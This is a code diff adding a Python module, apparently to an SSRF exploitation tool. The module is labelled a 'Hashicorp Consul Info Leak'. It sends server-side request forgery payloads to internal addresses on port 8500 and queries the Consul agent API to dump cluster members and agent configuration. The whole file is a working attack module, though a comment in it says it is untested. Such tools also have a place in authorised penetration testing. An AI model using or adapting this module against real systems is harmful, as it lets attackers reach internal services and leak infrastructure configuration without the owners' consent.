MODULE - Hashicorp Consul API

modules/consul.py

@@ -0,0 +1,39 @@
+from core.utils import *
+import logging
+import json
+import urllib.parse
+
+# NOTE : NOT TESTED YET
+# might need some editing to work properly !
+
+name        = "consul"
+description = "Hashicorp Consul Info Leak - Open API"
+author      = "Swissky"
+documentation = [
+    "https://www.consul.io/api/agent.html"
+]
+
+class exploit():
+
+    def __init__(self, requester, args):
+        logging.info("Module '{}' launched !".format(name))
+        gen_host = gen_ip_list("127.0.0.1", args.level)
+        port = "8500"
+
+        # List Members
+        for ip in gen_host: 
+            data = "/v1/agent/members"
+            payload = wrapper_http(data, ip, port)
+            r = requester.do_request(args.param, payload)
+
+            if r.json:
+                print(r.json)
+
+        # Read Configuration
+        for ip in gen_host:
+            data = "/v1/agent/self"
+            payload = wrapper_http(data, ip, port)
+            r = requester.do_request(args.param, payload)
+
+            if r.json:
+                print(r.json)